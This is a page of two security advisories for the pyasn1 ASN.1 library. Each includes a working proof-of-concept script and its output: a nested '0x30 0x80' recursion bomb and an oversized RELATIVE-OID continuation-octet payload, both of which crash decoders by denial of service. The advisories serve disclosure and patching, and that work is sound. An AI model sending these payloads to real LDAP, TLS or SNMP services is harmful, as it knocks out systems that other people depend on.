pyasn1 known bugs

### Summary The `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. ### Details The vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. `indefLenValueDecoder` (Line 998): ```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):``` This method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag. 2. `valueDecoder` (Lines 786 and 907): ```for component in decodeFun(substrate, componentType, **options):``` This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types. 4. `_decodeComponentsSchemaless` (Line 661): ```for component in decodeFun(substrate, **options):``` This method handles decoding when no schema is provided. In all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit. ### PoC ``` import sys from pyasn1.codec.ber import decoder sys.setrecursionlimit(100000) print("[*] Generating Recursion Bomb Payload...") depth = 50_000 chunk = b'\x30\x80' payload = chunk * depth print(f"[*] Payload size: {len(payload) / 1024:.2f} KB") print("[*] Triggering Decoder...") try: decoder.decode(payload) except RecursionError: print("[!] Crashed: Recursion Limit Hit") except MemoryError: print("[!] Crashed: Out of Memory") except Exception as e: print(f"[!] Crashed: {e}") ``` ``` [*] Payload size: 9.77 KB [*] Triggering Decoder... [!] Crashed: Recursion Limit Hit ``` ### Impact - This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion. - Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely. - Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack. ### Credits Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder.